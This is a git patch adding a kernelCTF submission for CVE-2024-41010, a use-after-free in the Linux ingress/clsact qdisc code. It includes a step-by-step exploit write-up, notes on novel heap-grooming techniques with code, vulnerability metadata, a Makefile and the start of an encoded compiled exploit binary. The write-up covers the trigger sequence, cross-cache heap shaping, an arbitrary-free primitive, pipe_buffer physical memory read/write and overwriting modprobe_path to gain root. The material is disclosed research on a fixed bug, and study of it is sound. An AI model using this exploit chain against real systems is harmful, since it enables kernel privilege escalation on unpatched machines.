From 59db371987db335d140824f2619b70db60ea6505 Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 15:24:37 -0300 Subject: [PATCH 01/12] CVE-2024-41010 --- .../CVE-2024-41010_lts/docs/exploit.md | 266 +++ .../docs/novel-techniques.md | 88 + .../CVE-2024-41010_lts/docs/vulnerability.md | 22 + .../exploit/lts-6.6.31/Makefile | 28 + .../exploit/lts-6.6.31/exploit | Bin 0 -> 977904 bytes .../exploit/lts-6.6.31/exploit.c | 1062 +++++++++++ .../exploit/lts-6.6.31/inc/bpf.h | 14 + .../exploit/lts-6.6.31/inc/bpf_insn.h | 281 +++ .../exploit/lts-6.6.31/inc/cls.h | 74 + .../exploit/lts-6.6.31/inc/local_netlink.h | 30 + .../exploit/lts-6.6.31/inc/log.h | 12 + .../exploit/lts-6.6.31/inc/msg_msg.h | 32 + .../exploit/lts-6.6.31/inc/rtnetlink.h | 26 + .../exploit/lts-6.6.31/inc/setup.h | 13 + .../exploit/lts-6.6.31/obj/bpf.o | Bin 0 -> 2528 bytes .../exploit/lts-6.6.31/obj/cls.o | Bin 0 -> 20752 bytes .../exploit/lts-6.6.31/obj/exploit.o | Bin 0 -> 27592 bytes .../exploit/lts-6.6.31/obj/log.o | Bin 0 -> 2240 bytes .../exploit/lts-6.6.31/obj/rtnetlink.o | Bin 0 -> 2528 bytes .../exploit/lts-6.6.31/obj/setup.o | Bin 0 -> 2352 bytes .../exploit/lts-6.6.31/src/bpf.c | 41 + .../exploit/lts-6.6.31/src/cls.c | 1547 +++++++++++++++++ .../exploit/lts-6.6.31/src/log.c | 41 + .../exploit/lts-6.6.31/src/rtnetlink.c | 153 ++ .../exploit/lts-6.6.31/src/setup.c | 62 + .../CVE-2024-41010_lts/metadata.json | 34 + .../CVE-2024-41010_lts/original.tar.gz | Bin 0 -> 18041 bytes 27 files changed, 3826 insertions(+) create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/docs/exploit.md create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/docs/novel-techniques.md create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/docs/vulnerability.md create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/Makefile create mode 100755 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf.h create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf_insn.h create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/cls.h create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/local_netlink.h create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/log.h create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/msg_msg.h create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/rtnetlink.h create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/setup.h create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/bpf.o create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/cls.o create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/log.o create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/rtnetlink.o create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/setup.o create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json create mode 100644 pocs/linux/kernelctf/CVE-2024-41010_lts/original.tar.gz diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/exploit.md new file mode 100644 index 00000000..8e9673db --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/exploit.md @@ -0,0 +1,266 @@ +# CVE-2024-41010 Exploit + +## Root-cause +Looking at the lifecycle of `tcx_entry`, we can see that it's first allocated when initializing a new ingress/clsact qdisc in `ingress_init` and similar functions: +```c +static int ingress_init(struct Qdisc *sch, struct nlattr *opt, + struct netlink_ext_ack *extack) +{ + struct ingress_sched_data *q = qdisc_priv(sch); + struct net_device *dev = qdisc_dev(sch); + struct bpf_mprog_entry *entry; + bool created; + int err; + + if (sch->parent != TC_H_INGRESS) + return -EOPNOTSUPP; + + net_inc_ingress_queue(); + + entry = tcx_entry_fetch_or_create(dev, true, &created); // [1] + if (!entry) + return -ENOMEM; + tcx_miniq_set_active(entry, true); // [2] + mini_qdisc_pair_init(&q->miniqp, sch, &tcx_entry(entry)->miniq); // [3] + if (created) + tcx_entry_update(dev, entry, true); + + q->block_info.binder_type = FLOW_BLOCK_BINDER_TYPE_CLSACT_INGRESS; + q->block_info.chain_head_change = clsact_chain_head_change; + q->block_info.chain_head_change_priv = &q->miniqp; // [4] + + err = tcf_block_get_ext(&q->block, sch, &q->block_info, extack); + if (err) + return err; + + mini_qdisc_pair_block_init(&q->miniqp, q->block); + + return 0; +} +``` +At [1], `tcx_entry_fetch_or_create` is called to either allocate or fetch an existing `tcx_entry` (wrapped by `bpf_mprog_entry`): +```c +static inline struct bpf_mprog_entry * +tcx_entry_fetch_or_create(struct net_device *dev, bool ingress, bool *created) +{ + struct bpf_mprog_entry *entry = tcx_entry_fetch(dev, ingress); // [5] + + *created = false; + if (!entry) { + entry = tcx_entry_create(); + if (!entry) + return NULL; + *created = true; + } + return entry; +} +``` +At [2], `tcx_miniq_set_active` is called to set `tcx_entry->miniq_active` to `true`, then at [3], `&tcx_entry(entry)->miniq` (basically a pointer to the first field of `tcx_entry`) is stored at `&q->miniqp`, which is then copied to `q->block_info.chain_head_change_priv` at [4]. +If we now also look into the process of releasing an ingress qdisc we can notice something quite interesting: +```c +static void ingress_destroy(struct Qdisc *sch) +{ + struct ingress_sched_data *q = qdisc_priv(sch); + struct net_device *dev = qdisc_dev(sch); + struct bpf_mprog_entry *entry = rtnl_dereference(dev->tcx_ingress); + + if (sch->parent != TC_H_INGRESS) + return; + + tcf_block_put_ext(q->block, sch, &q->block_info); + + if (entry) { + tcx_miniq_set_active(entry, false); + if (!tcx_entry_is_active(entry)) { + tcx_entry_update(dev, NULL, true); + tcx_entry_free(entry); + } + } + + net_dec_ingress_queue(); +} +``` +In `ingress_destroy`, if there is an existing `tcx_entry` bound to the net device, then it changes the `tcx_entry->miniq_active` bool to false, then calls `tcx_entry_is_active(entry)` to determine if `tcx_entry` is still in use, and if it's not, we remove the reference from the net device and free `tcx_entry`. Let's have a look at `tcx_entry_is_active` now: +```c +static inline bool tcx_entry_is_active(struct bpf_mprog_entry *entry) +{ + ASSERT_RTNL(); + return bpf_mprog_total(entry) || tcx_entry(entry)->miniq_active; +} +``` +It checks if the entry either has any bpf programs currently attached to it since they will have a view of the entry or if the `miniq_active` bool is true, which would mean the qdisc view still exists, but since destroying the qdisc sets this to false, if we don't attach any programs, this will always return false and enter the free path. +This raises the question of what could happen if another qdisc fetched the same entry and referenced it and then we deleted the first qdisc, causing the entry to be deleted as well. At this point it's probably worth noting that, in my understanding, you can't really have 2 ingress qdiscs co-exist in the same net device and creating a new one will make the old qdisc be deleted. However, interestingly enough, creating a new ingress qdisc will call `ingress_init()` for the new qdisc before ever calling `ingress_destroy()` for the old one, so the reference can get duplicated right before freeing `tcx_entry` by simply creating a ingress qdisc twice in a row. After the first qdisc gets deleted, the second one still has a pointer to `tcx_entry` in `q->block_info.chain_head_change_priv` which later can get dereferenced in the call to `mini_qdisc_pair_swap()` in the following call chain: +```c +[...] +static void tcf_chain0_head_change(struct tcf_chain *chain, + struct tcf_proto *tp_head) +{ + struct tcf_filter_chain_list_item *item; + struct tcf_block *block = chain->block; + + if (chain->index) + return; + + mutex_lock(&block->lock); + list_for_each_entry(item, &block->chain0.filter_chain_list, list) + tcf_chain_head_change_item(item, tp_head); + mutex_unlock(&block->lock); +} +[...] +static void tcf_chain_head_change_item(struct tcf_filter_chain_list_item *item, + struct tcf_proto *tp_head) +{ + if (item->chain_head_change) + item->chain_head_change(tp_head, item->chain_head_change_priv); +} +[...] +static void clsact_chain_head_change(struct tcf_proto *tp_head, void *priv) +{ + struct mini_Qdisc_pair *miniqp = priv; + + mini_qdisc_pair_swap(miniqp, tp_head); +}; +``` +Which we can reach by adding or removing traffic control filters from this qdisc. + +## Triggering vulnerability +- Create a new ingress/clsact qdisc +- Create a second ingress/clasct qdisc, which will cause the following to happen: + - reuse tcx_entry reference + - delete tcx_entry + - delete first qdisc +- add a filter to second qdisc which will dereference the dangling pointer and overwrite the first qword of the UAF object with a pointer to the qdisc struct or NULL + +The dangling pointer is dereferenced in the `mini_qdisc_pair_swap` function: +```c +void mini_qdisc_pair_swap(struct mini_Qdisc_pair *miniqp, + struct tcf_proto *tp_head) +{ + /* Protected with chain0->filter_chain_lock. + * Can't access chain directly because tp_head can be NULL. + */ + struct mini_Qdisc *miniq_old = + rcu_dereference_protected(*miniqp->p_miniq, 1); // [1] + struct mini_Qdisc *miniq; + + if (!tp_head) { + RCU_INIT_POINTER(*miniqp->p_miniq, NULL); // [2] + } else { + miniq = miniq_old != &miniqp->miniq1 ? + &miniqp->miniq1 : &miniqp->miniq2; + + /* We need to make sure that readers won't see the miniq + * we are about to modify. So ensure that at least one RCU + * grace period has elapsed since the miniq was made + * inactive. + */ + if (IS_ENABLED(CONFIG_PREEMPT_RT)) + cond_synchronize_rcu(miniq->rcu_state); + else if (!poll_state_synchronize_rcu(miniq->rcu_state)) + synchronize_rcu_expedited(); + + miniq->filter_list = tp_head; + rcu_assign_pointer(*miniqp->p_miniq, miniq); // [3] + } + + if (miniq_old) + /* This is counterpart of the rcu sync above. We need to + * block potential new user of miniq_old until all readers + * are not seeing it. + */ + miniq_old->rcu_state = start_poll_synchronize_rcu(); // [4] +} +``` + +## Limited UAF +Keep in mind that `miniqp` is the first field of `struct tcx_entry` and `miniq` is a field of `struct Qdisc`, so `miniqp->p_miniq` is a pointer to somewhere in the middle of a qdisc that gets stored at the start of a `struct tcx_entry`. Also, `tcx_entry` lives in kmalloc-2k. +Notice that, at [2], if `tp_head` is NULL, it writes NULL to `miniqp->p_miniq`, which is at the start of `tcx_entry` and if `tp_head` is not NULL, it writes a pointer to `miniq` at [3], writing the pointer to the middle of a qdisc at the start of `tcx_entry`. We can control whether or not `tp_head` is NULL, so we could try to write NULL. An idea that might come to mind is targeting refcounts with the NULL write, however, there is a catch: at [1] it reads the original value at the first qword of the UAF object before being overwritten, and later at [4], if it's not NULL, it will get dereferenced as a pointer. So our options are limited to victim objects that either have NULL in the first qword or that already have a pointer in the first qword and would do something interesting if we overwrote it with either NULL or a different pointer. + +## Escalate to arbitrary free +My approach was cross-caching from kmalloc-2k to kmalloc-cg-2k to get access to `msg_msgseg` objects and replace the `msg_msgseg->next` pointer with the `miniq` pointer. This is particularly interesting in our case given that the first field of `struct mini_Qdisc` is `filter_list`, which is a linked list of `struct tcf_proto` objects bound to filters we can allocate and free at will. Combine this with the fact that reading a `msg_msgseg` will free whatever if at `msg_msgseg->next` until it finds NULL and we have a very strong arbitrary free instrument. +```c +void free_msg(struct msg_msg *msg) +{ + struct msg_msgseg *seg; + + security_msg_msg_free(msg); + + seg = msg->next; + kfree(msg); + while (seg != NULL) { + struct msg_msgseg *tmp = seg->next; + + cond_resched(); + kfree(seg); + seg = tmp; + } +} +``` +This allow us to do the following: +- make `tcx_entry` dangling +- replace it with `msg_msgseg` +- add a filter to qdisc (this will both add a `tcf_proto` to the linked list with head at `miniq` and write the `miniq` pointer at `msg_msgseg->next`) +- read `msg_msgseg`, which will cause it to get freed and also interate over `filter_list`, freeing everything until it finds NULL, so it will free our `tcf_proto`, which lives at kmalloc-128. + +## Reaching for kmalloc-cg-1k +The end goal of my exploit was to reach get a double free in kmalloc-cg-1k to overlap `pipe_buffer` with `skbuf->data` and win. In order to do that, I had to go through some intermediate steps in other caches though. + +### Getting a pointer to kmalloc-cg-512 +Once I had arbitrary free in kmalloc-128, I decided to once again cross-cache, this time from kmalloc-128 to kmalloc-cg-128 by spraying `msg_msgseg` and reusing our arbitrary free primitive to free a `msg_msgseg` object in kmalloc-cg-128. At this point my goal was to get some object that could give me a pointer to kmalloc-cg-1k so I could overlap our new, fully controllable, `msg_msgseg->next` with it. My first idea was to overlap it with a `msg_msg` object, however, this would end up linking the `msg_msgseg` into the circular `msg_msg` list, and cause a hang while freeing `msg_msgseg` because it would iterate endlessly. After going through some structs, I came across `struct in_ifaddr`: +```c + struct hlist_node hash; + struct in_ifaddr __rcu *ifa_next; + struct in_device *ifa_dev; + struct rcu_head rcu_head; + __be32 ifa_local; + __be32 ifa_address; + __be32 ifa_mask; + __u32 ifa_rt_priority; + __be32 ifa_broadcast; + unsigned char ifa_scope; + unsigned char ifa_prefixlen; + unsigned char ifa_proto; + __u32 ifa_flags; + char ifa_label[IFNAMSIZ]; + + /* In seconds, relative to tstamp. Expiry is at tstamp + HZ * lft. */ + __u32 ifa_valid_lft; + __u32 ifa_preferred_lft; + unsigned long ifa_cstamp; /* created timestamp */ + unsigned long ifa_tstamp; /* updated timestamp */ +}; +``` +This is particularly interesting for mainly 2 reasons: +- I can read the `ifa_dev` pointer, which will allow me to leak a pointer to a `struct in_device` object in kmalloc-512 +- When spraying, I can use the `ifa_address` field as an identifier, so I can know which sprayed object overlapped `msg_msgseg` +A kmalloc-512 pointer is not what I wanted initially, but good enough. It's relatively easy to allocated kmalloc-cg-512 pages adjacent to kmalloc-512 pages because they belong to the same page order. With this in mind, I allocated a huge padding of kmalloc-cg-512 `skbuf->data` before allocating `in_device`, so when I receive the leak I simply subtract an arbitrary offset that should dislocate the pointer to somewhere in the middle of the `skbuf->data` spray. + +### kmalloc-cg-128 -> kmalloc-cg-512 +Now that we have a pointer to a `skbuf->data` object in kmalloc-cfg-512, we need to somehow write it to our controllable `msg_msgseg` in order to free it. While many handy data spray techniques seem to be dead by now, I ended up coming across a (seemly novel) object that could do the job. +```c +static int rtnl_alt_ifname(int cmd, struct net_device *dev, struct nlattr *attr, + bool *changed, struct netlink_ext_ack *extack) +{ + char *alt_ifname; + size_t size; + int err; + + err = nla_validate(attr, attr->nla_len, IFLA_MAX, ifla_policy, extack); +[...] + alt_ifname = nla_strdup(attr, GFP_KERNEL_ACCOUNT); +[...] + kfree(alt_ifname); + if (!err) + *changed = true; + return err; +} +``` +The `alt_ifname` object is a temporary buffer where user data is stored with an arbitrary size, allocated with `GFP_KERNEL_ACCOUNT`. Keep in mind that `rtnl_alt_ifname` is only called from contexts where the rtnl lock is acquired, so spawning multiple threads to race and spray the temporary buffer won't work, so we have to make sure the object we want to overwrite is first on the freelist. +One way of doing this is incrementally allocating other `msg_msgseg` objects and checking our corrupted `msg_msgseg` using `MSG_COPY` to read it without freeing, allowing me to known which of the the new `msg_msgseg` objects just overlapped the target one, and then replace it with the `alt_ifname` buffer, finally allowing me to point `msg_msgseg->next` to a `skbuf->data` object in kmalloc-cg-512 and free it. + +### kmalloc-cg-512 -> kmalloc-cg-1k +kmalloc-cg-512 is already much better than kmalloc-cg-128. We can now overlap a `msg_msg` with our `skbuf->data` object. If we send another message in the same queue as this `msg_msg` object, we'll get a pointer to the second message in the first qword of the first message, so by sending a message that gets allocated on kmalloc-cg-1k we can leak a pointer by reading our `skbuf->data`. If we now slightly increment the pointer, it will point to a different `msg_msg` allocated by our spray, which is owned by a different queue, so we now have a duplicated reference to a `msg_msg` in kmalloc-cg-1k that we can use to get double-free. Manipulating `msg_msg` in that fashion has been covered in detail here: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html + +## pipe_buffer->page physical read/write > win +Once we get to kmalloc-cg-1k we can overlap `skbuf->data` with `pipe_buffer` to control the `pipe_buffer->page` pointer to achieve physical read and write, this technique is thoroughly discussed in https://www.interruptlabs.co.uk/articles/pipe-buffer. +Using this primitive, I overwrite the `modprobe_path` string to point it to a memory file created with `memfd_create`, under `/proc//fd/`. I also bruteforce the pid of the exploit process outside of the sandboxed namespace. This has all been very well described in https://pwning.tech/nftables/#4-techniques \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/novel-techniques.md new file mode 100644 index 00000000..b825e45e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/novel-techniques.md @@ -0,0 +1,88 @@ +# Novel Techniques + +## kmalloc-2k groom/potential target object: `bpf_prog_aux` +```c +struct bpf_prog *bpf_prog_alloc_no_stats(unsigned int size, gfp_t gfp_extra_flags) +{ + gfp_t gfp_flags = bpf_memcg_flags(GFP_KERNEL | __GFP_ZERO | gfp_extra_flags); + struct bpf_prog_aux *aux; +[...] + aux = kzalloc(sizeof(*aux), bpf_memcg_flags(GFP_KERNEL | gfp_extra_flags)); +[...] +} +``` +The `bpf_prog_aux` object gets allocated by the `bpf_prog_alloc_no_stats`. +It can be allocated from userland by creating an empty bpf program: +```c + struct bpf_insn insns[] = { + BPF_MOV64_IMM(BPF_REG_0, 4), + BPF_EXIT_INSN(), + }; +[...] + union bpf_attr prog_attr = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = sizeof(insns) / sizeof(insns[0]), + .insns = (uint64_t)insns, + .license = (uint64_t) "GPL v2", + .log_level = 0, + .log_size = 0, + .log_buf = (uint64_t)0}; + +[...] + /* defrag 2k slab (bpf_prog_aux) */ + int progfd[SPRAY]; + puts("[*] kmalloc-2k defrag"); + for (int i = 0; i < 3 * SPRAY / 4; i++) + { + progfd[i] = bpf(BPF_PROG_LOAD, &prog_attr); + if (progfd[i] == -1) + errout("bpf(BPF_PROG_LOAD)"); + } +``` + +It can be later freed by simply closing the bpf program's fd: +```c + /* free slab containing tcx_entry (return it to buddy) */ + printf("[*] cross-cache (kmalloc-2k -> kmalloc-cg-2k)\n"); + for (int i = SPRAY / 2; i < SPRAY; i++) + close(progfd[i]); +``` + +This is useful for spraying and manipulating heap layout in kmalloc-2k and it's what I ended up using for holding kmalloc-2k slabs that I later return to the page allocator for my cross-cache. It's also worth noting that the first qword is a refcount to track the life time of the bpf program bound to it, which can make it an interesting target for exploitation, however I didn't end up using it for that purpose in my exploit for the reasons described in `exploit.md`, so I'm only mentioning this as a side note. + +## Arbitrary data spray object: `alt_ifname` +```c +static int rtnl_alt_ifname(int cmd, struct net_device *dev, struct nlattr *attr, + bool *changed, struct netlink_ext_ack *extack) +{ + char *alt_ifname; + size_t size; + int err; + + err = nla_validate(attr, attr->nla_len, IFLA_MAX, ifla_policy, extack); +[...] + alt_ifname = nla_strdup(attr, GFP_KERNEL_ACCOUNT); +[...] + kfree(alt_ifname); + if (!err) + *changed = true; + return err; +} +``` +The `alt_ifname` object is a temporary buffer where user data is stored with an arbitrary size, allocated with `GFP_KERNEL_ACCOUNT`. Keep in mind that `rtnl_alt_ifname` is only called from contexts where the rtnl lock is acquired, so spawning multiple threads to race and spray the temporary buffer won't work, so we have to make sure the object we want to overwrite is first on the freelist. + +## Cross-cache stabilization technique/trick +```c + /* create cg-4k partial slabs to avoid disputing buddy pages with cg-2k */ + puts("[*] kmalloc-cg-4k partial slabs"); + for (int i = 0; i < SPRAY; i++) + msgsnd(frag4k[i], msg, 4096 - 48, 0); + for (int i = 8; i < SPRAY; i++) + { + if (!(i % 8)) + continue; + if (msgrcv(frag4k[i], msg, 4096 - 48, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + } +``` +Further improve cross-cache stability by purposefully fragmenting other caches that I don't want to take the freed slab by creating several used slabs and leaving only 1 object left in each of them, creating several partial slabs with freelists that `kmalloc()` can chew on long before it starts asking for new pages. In my exploit, both `msg_msg` in kmalloc-cg-4k and `msg_msgseg` in kmalloc-cg-2k get allocated in the same path, but I want to make sure `msg_msgseg` takes the freed slab from the page allocator. To ensure that, not only I defrag kmalloc-cg-2k (common knowledge) but also frag kmalloc-cg-4k with partial slabs (novel to the best of my knowledge), which took the success rate of this specific step from less than 40% to succeeding the great majority of the time. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/vulnerability.md new file mode 100644 index 00000000..8c988269 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/vulnerability.md @@ -0,0 +1,22 @@ +# Vulneribility + A new `tcx_entry` object is allocated when creating an ingress/clsact qdisc if one does not already exist. However, when creating a second ingress/clsact qdisc, if a `tcx_entry` already exists, it will be reused, so it's possible to have multiple qdiscs referencing the same `tcx_entry` object. For that reason, the `miniq_active` bool used to track the view of `tcx_entry` in qdisc should be replaced by a counter. + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` + - Kernel configuration: `CONFIG_USER_NS`, `CONFIG_NET_SCH_INGRESS` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability + - [commit e420bed025071a623d2720a92bc2245c84757ecb]( https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e420bed025071a623d2720a92bc2245c84757ecb) + +## Commit which fixed the vulnerability +- [commit 1cb6f0bae50441f4b4b32a28315853b279c7404e](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1cb6f0bae50441f4b4b32a28315853b279c7404e) + +## Affected kernel versions +- 6.6.0 - 6.9.8 + +## Affected component, subsystem +- net/sched (ingress/clsact) + +## Cause +- UAF diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/Makefile b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/Makefile new file mode 100644 index 00000000..43ce7952 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/Makefile @@ -0,0 +1,28 @@ +.PHONY: all clean + +TARGET=exploit + +SOURCES = $(wildcard src/*.c) +HEADERS = $(wildcard inc/*.h) +OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES)) + +CFLAGS= -I./inc -Os +LDFLAGS= -Wall -L/lib/x86_64-linux-gnu/ + +all: obj $(TARGET) + +$(TARGET): obj/exploit.o $(OBJECTS) + gcc $(LDFLAGS) -o $@ $^ -static + +obj/%.o: src/%.c + gcc -c $< -o $@ $(CFLAGS) + +obj/exploit.o: + gcc -c exploit.c -o obj/exploit.o $(CFLAGS) + +obj: + mkdir obj + +clean: + rm -rf obj + rm -f $(TARGET) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit new file mode 100755 index 0000000000000000000000000000000000000000..6d8aa2cff7b38909a359e1d4b0276f33978bd483 GIT binary patch literal 977904 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 